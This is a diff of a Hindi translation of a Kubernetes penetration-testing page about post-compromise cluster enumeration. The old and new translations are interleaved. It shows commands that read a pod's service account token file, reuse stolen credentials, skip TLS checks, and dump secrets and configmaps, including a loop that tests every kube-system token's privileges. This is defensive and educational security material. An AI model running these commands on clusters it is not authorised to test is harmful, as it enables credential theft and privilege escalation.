_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
|
||||
**ServiceAccount** एक वस्तु है जिसे Kubernetes द्वारा प्रबंधित किया जाता है और यह पॉड में चलने वाली प्रक्रियाओं के लिए एक पहचान प्रदान करने के लिए उपयोग किया जाता है।\
|
||||
हर सेवा खाते से संबंधित एक गुप्त होता है और इस गुप्त में एक बियरर टोकन होता है। यह एक JSON वेब टोकन (JWT) है, जो दो पक्षों के बीच दावों का सुरक्षित रूप से प्रतिनिधित्व करने का एक तरीका है।
|
||||
**ServiceAccount** एक object है जो Kubernetes द्वारा managed होता है और pod में चलने वाली processes के लिए identity प्रदान करने में उपयोग होता है।\
|
||||
हर service account के साथ एक related secret होता है और इस secret में एक bearer token होता है। यह एक JSON Web Token (JWT) है, जो दो parties के बीच claims को securely represent करने की method है।
|
||||
|
||||
आम तौर पर **एक** निर्देशिका:
|
||||
आमतौर पर **इन directories** में से **एक**:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/secrets/kubernetes.io/serviceaccount`
|
||||
|
||||
इन फ़ाइलों को शामिल करती हैं:
|
||||
इन files को contain करती हैं:
|
||||
|
||||
- **ca.crt**: यह Kubernetes संचार की जांच के लिए ca प्रमाणपत्र है
|
||||
- **namespace**: यह वर्तमान namespace को इंगित करता है
|
||||
- **token**: इसमें वर्तमान पॉड का **सेवा टोकन** होता है।
|
||||
- **ca.crt**: Kubernetes communications को check करने के लिए ca certificate
|
||||
- **namespace**: यह current namespace को indicate करता है
|
||||
- **token**: इसमें current pod का **service token** होता है।
|
||||
|
||||
अब जब आपके पास टोकन है, तो आप वातावरण चर **`KUBECONFIG`** के अंदर API सर्वर पा सकते हैं। अधिक जानकारी के लिए चलाएँ `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
अब जब आपके पास token है, तो आप environment variable **`KUBECONFIG`** के अंदर API server ढूँढ सकते हैं। अधिक जानकारी के लिए `(env | set) | grep -i "kuber|kube`**`"`** चलाएँ।
|
||||
|
||||
सेवा खाता टोकन उस कुंजी द्वारा हस्ताक्षरित होता है जो फ़ाइल **sa.key** में स्थित होती है और **sa.pub** द्वारा मान्य होती है।
|
||||
service account token, **sa.key** file में मौजूद key द्वारा signed होता है और **sa.pub** द्वारा validated होता है।
|
||||
|
||||
**Kubernetes** पर डिफ़ॉल्ट स्थान:
|
||||
**Kubernetes** पर default location:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
**Minikube** पर डिफ़ॉल्ट स्थान:
|
||||
**Minikube** पर default location:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods**_ ऐसे पॉड होते हैं जिनमें एक विशेषाधिकार प्राप्त सेवा खाता टोकन होता है। एक विशेषाधिकार प्राप्त सेवा खाता टोकन वह टोकन है जिसमें विशेषाधिकार प्राप्त कार्य करने की अनुमति होती है जैसे कि गुप्त सूचीबद्ध करना, पॉड बनाना, आदि।
|
||||
_**Hot pods are**_ ऐसे pods जिनमें privileged service account token होता है। privileged service account token वह token है जिसे privileged tasks करने की permission होती है, जैसे secrets listing, pods creating, आदि।
|
||||
|
||||
## RBAC
|
||||
|
||||
यदि आप नहीं जानते कि **RBAC** क्या है, तो **इस अनुभाग को पढ़ें**।
|
||||
अगर आपको नहीं पता कि **RBAC** क्या है, तो **इस section को पढ़ें**।
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: एक GUI जो टर्मिनल से एक Kubernetes क्लस्टर को सूचीबद्ध करता है। [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) में कमांड देखें। `:namespace` लिखें और सभी का चयन करें ताकि फिर सभी namespaces में संसाधनों की खोज की जा सके।
|
||||
- **k8slens**: यह कुछ मुफ्त परीक्षण दिनों की पेशकश करता है: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: एक GUI जो terminal से kubernetes cluster को enumerate करता है। [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) में commands देखें। `:namespace` लिखें और select all करें, फिर सभी namespaces में resources search करें।
|
||||
- **k8slens**: यह कुछ free trial days offer करता है: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
K8s वातावरण को सूचीबद्ध करने के लिए आपको इनमें से कुछ की आवश्यकता है:
|
||||
K8s environment को enumerate करने के लिए आपको कुछ चीज़ों की ज़रूरत होगी:
|
||||
|
||||
- एक **मान्य प्रमाणीकरण टोकन**। पिछले अनुभाग में हमने उपयोगकर्ता टोकन और सेवा खाता टोकन के लिए कहाँ खोजें, देखा।
|
||||
- **Kubernetes API का **पता** (_**https://host:port**_**)। यह आमतौर पर वातावरण चर और/या kube कॉन्फ़िग फ़ाइल में पाया जा सकता है।
|
||||
- **वैकल्पिक**: **API सर्वर को सत्यापित करने के लिए ca.crt**। यह उसी स्थानों पर पाया जा सकता है जहाँ टोकन पाया जा सकता है। यह API सर्वर प्रमाणपत्र को सत्यापित करने के लिए उपयोगी है, लेकिन `--insecure-skip-tls-verify` का उपयोग करते समय `kubectl` के साथ या `-k` का उपयोग करते समय `curl` के साथ आपको इसकी आवश्यकता नहीं होगी।
|
||||
- एक **valid authentication token**। पिछले section में हमने देखा कि user token और service account token कहाँ खोजें।
|
||||
- Kubernetes API का **address (**_**https://host:port**_**)। यह आमतौर पर environment variables और/या kube config file में मिल सकता है।
|
||||
- **Optional**: API server को verify करने के लिए **ca.crt**। यह उन्हीं जगहों पर मिल सकता है जहाँ token मिलता है। यह API server certificate verify करने के लिए useful है, लेकिन `kubectl` के साथ `--insecure-skip-tls-verify` या `curl` के साथ `-k` उपयोग करने पर इसकी ज़रूरत नहीं होगी।
|
||||
|
||||
इन विवरणों के साथ आप **Kubernetes को सूचीबद्ध** कर सकते हैं। यदि **API** किसी कारण से **इंटरनेट** के माध्यम से **सुलभ** है, तो आप बस उस जानकारी को डाउनलोड कर सकते हैं और अपने होस्ट से प्लेटफ़ॉर्म को सूचीबद्ध कर सकते हैं।
|
||||
इन details के साथ आप **kubernetes enumerate** कर सकते हैं। अगर किसी कारण से **API** **Internet** के through **accessible** है, तो आप बस वह info download करके अपने host से platform enumerate कर सकते हैं।
|
||||
|
||||
हालांकि, आमतौर पर **API सर्वर एक आंतरिक नेटवर्क के अंदर होता है**, इसलिए आपको इसे अपनी मशीन से एक्सेस करने के लिए समझौता की गई मशीन के माध्यम से **एक सुरंग** बनाने की आवश्यकता होगी, या आप **`kubectl`** बाइनरी को **अपलोड** कर सकते हैं, या **`curl/wget/anything`** का उपयोग कर सकते हैं ताकि API सर्वर पर कच्चे HTTP अनुरोध किए जा सकें।
|
||||
हालाँकि, आमतौर पर **API server internal network** के अंदर होता है, इसलिए आपको अपने machine से access करने के लिए compromised machine के through एक **tunnel create** करना होगा, या आप [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary **upload** कर सकते हैं, या API server पर raw HTTP requests करने के लिए **`curl/wget/anything`** का उपयोग कर सकते हैं।
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
**`get`** अनुमतियों के साथ आप विशिष्ट संपत्तियों की जानकारी तक पहुँच सकते हैं (_`describe` विकल्प `kubectl` में_) API:
|
||||
**`get`** permissions के साथ आप specific assets की information access कर सकते हैं (_`kubectl` में `describe` option_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
यदि आपके पास **`list`** अनुमति है, तो आप एक प्रकार के संपत्ति की सूची बनाने के लिए API अनुरोधों को निष्पादित करने की अनुमति रखते हैं (_`kubectl` में `get` विकल्प_):
|
||||
यदि आपके पास **`list`** permission है, तो आपको किसी asset के प्रकार की सूची बनाने के लिए API requests execute करने की अनुमति है (_`kubectl`_ में `get` option_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
यदि आपके पास **`watch`** अनुमति है, तो आपको संपत्तियों की निगरानी के लिए API अनुरोध निष्पादित करने की अनुमति है:
|
||||
यदि आपके पास **`watch`** permission है, तो आपको assets की monitoring के लिए API requests execute करने की अनुमति है:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
वे एक स्ट्रीमिंग कनेक्शन खोलते हैं जो आपको एक Deployment का पूरा मैनिफेस्ट लौटाता है जब भी यह बदलता है (या जब एक नया बनाया जाता है)।
|
||||
वे एक streaming connection खोलते हैं जो जब भी बदलता है (या जब कोई नया बनाया जाता है) तो आपको Deployment का पूरा manifest return करता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> निम्नलिखित `kubectl` कमांड केवल यह दर्शाते हैं कि वस्तुओं को कैसे सूचीबद्ध किया जाए। यदि आप डेटा तक पहुँच प्राप्त करना चाहते हैं तो आपको `get` के बजाय `describe` का उपयोग करना होगा।
|
||||
> निम्न `kubectl` commands केवल यह दिखाते हैं कि objects को कैसे list किया जाए। अगर आप data access करना चाहते हैं, तो आपको `get` के बजाय `describe` का उपयोग करना होगा
|
||||
|
||||
### Using curl
|
||||
|
||||
एक पॉड के अंदर, आप कई env वेरिएबल्स का उपयोग कर सकते हैं:
|
||||
एक pod के अंदर से आप कई env variables का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -109,23 +109,23 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> डिफ़ॉल्ट रूप से, पॉड **kube-api सर्वर** को डोमेन नाम **`kubernetes.default.svc`** में **एक्सेस** कर सकता है और आप **`/etc/resolv.config`** में kube नेटवर्क देख सकते हैं, क्योंकि यहाँ आपको kubernetes DNS सर्वर का पता मिलेगा (एक ही रेंज का ".1" kube-api एंडपॉइंट है)।
|
||||
> डिफ़ॉल्ट रूप से pod **`kubernetes.default.svc`** domain name में **kube-api server** को **access** कर सकता है और आप kube network को **`/etc/resolv.config`** में देख सकते हैं, जैसा कि यहाँ आपको kubernetes DNS server का address मिलेगा (उसी range का ".1" ही kube-api endpoint है)।
|
||||
|
||||
### Using kubectl
|
||||
|
||||
टोकन और API सर्वर का पता होने पर, आप इसे एक्सेस करने के लिए kubectl या curl का उपयोग करते हैं जैसा कि यहाँ संकेतित है:
|
||||
token और API server के address के साथ आप kubectl या curl का उपयोग करके इसे access करते हैं, जैसा कि यहाँ बताया गया है:
|
||||
|
||||
डिफ़ॉल्ट रूप से, APISERVER `https://` स्कीमा के साथ संचार कर रहा है।
|
||||
डिफ़ॉल्ट रूप से, APISERVER **`https://`** schema के साथ communicate कर रहा है
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> यदि URL में `https://` नहीं है, तो आपको Bad Request जैसी त्रुटि मिल सकती है।
|
||||
> यदि URL में `https://` नहीं है, तो आपको Bad Request जैसा Error मिल सकता है।
|
||||
|
||||
आप [**यहां आधिकारिक kubectl चीटशीट**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित अनुभागों का लक्ष्य विभिन्न विकल्पों को क्रमबद्ध तरीके से प्रस्तुत करना है ताकि आप उस नए K8s को समझ सकें, जिसे आपने एक्सेस किया है।
|
||||
आप [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित sections का goal है कि ordered manner में different options present किए जाएँ ताकि आप अपने access में आए नए K8s को enumerate और understand कर सकें।
|
||||
|
||||
यह जानने के लिए कि `kubectl` कौन-सी HTTP अनुरोध भेजता है, आप पैरामीटर `-v=8` का उपयोग कर सकते हैं।
|
||||
`kubectl` जो HTTP request भेजता है उसे find करने के लिए आप parameter `-v=8` का use कर सकते हैं
|
||||
|
||||
#### MitM kubectl - kubectl को प्रॉक्सी करना
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
```bash
|
||||
# Launch burp
|
||||
# Set proxy
|
||||
@@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080
|
||||
# Launch kubectl
|
||||
kubectl get namespace --insecure-skip-tls-verify=true
|
||||
```
|
||||
### वर्तमान कॉन्फ़िगरेशन
|
||||
### वर्तमान configuration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Kubectl" }}
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
यदि आप कुछ उपयोगकर्ताओं के क्रेडेंशियल चुराने में सफल हो गए हैं, तो आप उन्हें **स्थानीय रूप से कॉन्फ़िगर** कर सकते हैं, जैसे:
|
||||
यदि आपने कुछ users के credentials चुरा लिए हैं, तो आप उन्हें **locally configure** कर सकते हैं, जैसे:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### समर्थित संसाधन प्राप्त करें
|
||||
|
||||
इस जानकारी के साथ, आप सभी सेवाओं को जानेंगे जिन्हें आप सूचीबद्ध कर सकते हैं
|
||||
इस जानकारी के साथ आपको उन सभी services का पता चल जाएगा जिन्हें आप list कर सकते हैं
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### वर्तमान विशेषाधिकार प्राप्त करें
|
||||
### जांचने योग्य Object metadata
|
||||
|
||||
जब आप किसी object को read कर सकते हैं, तो केवल table output या `describe` पर निर्भर रहने के बजाय पूरा YAML या JSON export करें। सबसे उपयोगी security context अक्सर generic object fields में होता है जो कई resource types में मौजूद होते हैं:
|
||||
```bash
|
||||
kubectl get pod <pod> -n <ns> -o yaml
|
||||
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
|
||||
```
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` और `kind` exact object की पहचान करते हैं और different namespaces या API groups में same name वाले objects के बीच confusion से बचाते हैं।
|
||||
- `metadata.labels` और selectors Services, Deployments, ReplicaSets, Pods, NetworkPolicies और automation को connect करते हैं। Selectors को follow करना अक्सर किसी Service के real backend pods identify करने का सबसे तेज़ तरीका होता है।
|
||||
- `metadata.annotations` ingress behavior, cloud load balancer settings, GitOps या Helm metadata, policy exemptions, और service mesh configuration जैसे operational context को leak कर सकते हैं। इनमें secrets नहीं होने चाहिए, लेकिन real clusters अक्सर वहाँ useful clues expose करते हैं।
|
||||
- `metadata.ownerReferences` controller lineage दिखाता है। अगर कोई Pod किसी ReplicaSet के under है जो Deployment के under है, तो सिर्फ Pod को change या delete करना usually source को fix नहीं करता।
|
||||
- `metadata.finalizers` और `metadata.deletionTimestamp` deletion में stuck resources को explain करते हैं और cleanup controllers या persistence/disruption tricks reveal कर सकते हैं।
|
||||
- `status`, Events, और conditions node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, और controller progress reveal कर सकते हैं। ये useful clues हैं, लेकिन action किसने perform की, यह prove करने के लिए अभी भी audit logs की ज़रूरत होती है।
|
||||
|
||||
### Get Current Privileges
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -197,21 +212,21 @@ kurl -i -s -k -X $'POST' \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
अपने विशेषाधिकारों की जांच करने का एक और तरीका है उपकरण का उपयोग करना: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
अपने privileges की जांच करने का एक और तरीका यह tool उपयोग करना है: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
आप **Kubernetes RBAC** के बारे में अधिक जान सकते हैं:
|
||||
आप **Kubernetes RBAC** के बारे में यहां और जान सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**एक बार जब आप जान लें कि आपके पास कौन से विशेषाधिकार हैं** तो निम्नलिखित पृष्ठ की जांच करें यह पता लगाने के लिए कि **क्या आप उनका दुरुपयोग कर सकते हैं** विशेषाधिकार बढ़ाने के लिए:
|
||||
**एक बार जब आपको पता चल जाए कि आपके पास कौन-से privileges** हैं, तो यह समझने के लिए निम्न page देखें कि **क्या आप उनका abuse** करके privileges escalate कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### दूसरों की भूमिकाएँ प्राप्त करें
|
||||
### दूसरों के roles प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### नामस्थान प्राप्त करें
|
||||
### namespaces प्राप्त करें
|
||||
|
||||
Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई आभासी क्लस्टर** का समर्थन करता है। इन आभासी क्लस्टरों को **नामस्थान** कहा जाता है।
|
||||
Kubernetes **multiple virtual clusters** को सपोर्ट करता है, जो एक ही physical cluster द्वारा backed होते हैं। इन virtual clusters को **namespaces** कहा जाता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -247,7 +262,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### रहस्य प्राप्त करें
|
||||
### सीक्रेट्स प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
यदि आप रहस्यों को पढ़ सकते हैं, तो आप प्रत्येक टोकन से संबंधित विशेषाधिकार प्राप्त करने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं:
|
||||
यदि आप secrets पढ़ सकते हैं तो आप प्रत्येक token से संबंधित privileges प्राप्त करने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### सेवा खातों को प्राप्त करें
|
||||
### Service Accounts प्राप्त करें
|
||||
|
||||
जैसा कि इस पृष्ठ की शुरुआत में चर्चा की गई थी **जब एक पॉड चलाया जाता है, तो आमतौर पर एक सेवा खाता उसे सौंपा जाता है**। इसलिए, सेवा खातों की सूची बनाना, उनकी अनुमतियाँ और वे कहाँ चल रहे हैं, एक उपयोगकर्ता को विशेषाधिकार बढ़ाने की अनुमति दे सकता है।
|
||||
जैसा कि इस पेज की शुरुआत में चर्चा की गई है **जब एक pod run किया जाता है तो आमतौर पर उसे एक service account assigned किया जाता है**। इसलिए, service accounts, उनकी permissions और वे कहाँ running हैं, इसकी listing एक user को privileges escalate करने की अनुमति दे सकती है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### डिप्लॉयमेंट प्राप्त करें
|
||||
### Deployments प्राप्त करें
|
||||
|
||||
डिप्लॉयमेंट उन **घटक** को निर्दिष्ट करते हैं जिन्हें **चलाना** आवश्यक है।
|
||||
Deployments stateless application workloads के लिए desired state specify करते हैं। वे ReplicaSets create करते हैं, और वे ReplicaSets Pods create करते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -302,14 +317,33 @@ k get deployments -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### StatefulSets प्राप्त करें
|
||||
|
||||
StatefulSets उन Pods को manage करते हैं जिन्हें stable names, ordered rollout behavior, और अक्सर per-replica persistent volumes की जरूरत होती है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get statefulsets
|
||||
k get statefulsets -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Pods प्राप्त करें
|
||||
|
||||
Pods असली **कंटेनर** हैं जो **चलेंगे**।
|
||||
Pods वास्तविक **containers** हैं जो **run** करेंगे।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -326,9 +360,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### सेवाएँ प्राप्त करें
|
||||
### Services प्राप्त करें
|
||||
|
||||
Kubernetes **सेवाएँ** का उपयोग **एक विशिष्ट पोर्ट और IP में एक सेवा को उजागर करने के लिए** किया जाता है (जो वास्तव में सेवा प्रदान करने वाले पॉड्स के लिए लोड बैलेंसर के रूप में कार्य करेगा)। यह जानना दिलचस्प है कि आप अन्य सेवाएँ कहाँ पा सकते हैं जिन पर आप हमला करने की कोशिश कर सकते हैं।
|
||||
Kubernetes **services** का उपयोग **किसी service को एक specific port और IP पर expose** करने के लिए किया जाता है (जो pods के लिए load balancer के रूप में काम करेगा, जो वास्तव में service प्रदान कर रहे हैं)। यह जानना उपयोगी है कि आप अन्य services कहाँ पा सकते हैं ताकि उन पर attack करने की कोशिश की जा सके।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -340,14 +374,14 @@ k get services -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### नोड्स प्राप्त करें
|
||||
### nodes प्राप्त करें
|
||||
|
||||
क्लस्टर के अंदर **कॉन्फ़िगर किए गए सभी नोड्स** प्राप्त करें।
|
||||
क्लस्टर के अंदर कॉन्फ़िगर किए गए सभी **nodes** प्राप्त करें।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### DaemonSets प्राप्त करें
|
||||
|
||||
**DaeamonSets** यह सुनिश्चित करने की अनुमति देता है कि **एक विशिष्ट पोड क्लस्टर के सभी नोड्स में चल रहा है** (या चयनित नोड्स में)। यदि आप DaemonSet को हटाते हैं, तो इसके द्वारा प्रबंधित पोड भी हटा दिए जाएंगे।
|
||||
**DaemonSets** यह सुनिश्चित करते हैं कि **एक specific Pod क्लस्टर के सभी selected nodes पर चल रहा हो**। यदि आप DaemonSet को delete करते हैं, तो उसके द्वारा managed Pods भी remove हो जाएंगे।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -376,32 +410,52 @@ k get daemonsets
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### क्रोनजॉब प्राप्त करें
|
||||
### जॉब्स प्राप्त करें
|
||||
|
||||
क्रोन जॉब्स crontab जैसे सिंटैक्स का उपयोग करके एक पॉड के लॉन्च को शेड्यूल करने की अनुमति देते हैं जो कुछ क्रियाएँ करेगा।
|
||||
Jobs Pods बनाते हैं जो completion तक चलते हैं। इन्हें आमतौर पर migrations, backups, batch work, और one-off administrative tasks के लिए उपयोग किया जाता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get jobs
|
||||
k get jobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### CronJobs प्राप्त करें
|
||||
|
||||
CronJobs task-style execution के लिए Pods लॉन्च करने वाले Jobs बनाने हेतु crontab-जैसे schedule का उपयोग करते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get cronjobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### configMap प्राप्त करें
|
||||
|
||||
configMap हमेशा बहुत सारी जानकारी और configfile शामिल करता है जो kubernetes में चलने वाले ऐप्स को प्रदान करता है। आमतौर पर, आप बहुत सारे पासवर्ड, रहस्य, टोकन पा सकते हैं जो अन्य आंतरिक/बाहरी सेवा से कनेक्ट करने और मान्य करने के लिए उपयोग किए जाते हैं।
|
||||
configMap में हमेशा बहुत सारी जानकारी और configfile होते हैं जो kubernetes में चलने वाले apps को दिए जाते हैं। आमतौर पर आप कई password, secrets, tokens पा सकते हैं जिनका इस्तेमाल other internal/external service से connecting और validating के लिए किया जाता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### नेटवर्क नीतियाँ प्राप्त करें / Cilium नेटवर्क नीतियाँ
|
||||
### Network Policies / Cilium Network Policies प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="पहला टैब" }}
|
||||
{{#tab name="First Tab" }}
|
||||
```bash
|
||||
k get networkpolicies
|
||||
k get CiliumNetworkPolicies
|
||||
@@ -439,7 +493,7 @@ k get all
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **हेल्म द्वारा प्रबंधित सभी संसाधनों को प्राप्त करें**
|
||||
### **helm द्वारा प्रबंधित सभी resources प्राप्त करें**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **पॉड्स की खपत प्राप्त करें**
|
||||
### **Pods की consumptions प्राप्त करें**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -459,23 +513,23 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## क्लस्टर के साथ kubectl का उपयोग किए बिना इंटरैक्ट करना
|
||||
## kubectl का उपयोग किए बिना cluster के साथ इंटरैक्ट करना
|
||||
|
||||
चूंकि Kubernetes नियंत्रण Plane एक REST-ful API को उजागर करता है, आप HTTP अनुरोधों को हाथ से तैयार कर सकते हैं और उन्हें अन्य उपकरणों, जैसे **curl** या **wget** के साथ भेज सकते हैं।
|
||||
यह देखते हुए कि Kubernetes control plane एक REST-ful API expose करता है, आप manually HTTP requests बना सकते हैं और उन्हें **curl** या **wget** जैसे अन्य tools के साथ भेज सकते हैं।
|
||||
|
||||
### पॉड से बाहर निकलना
|
||||
### pod से बाहर निकलना
|
||||
|
||||
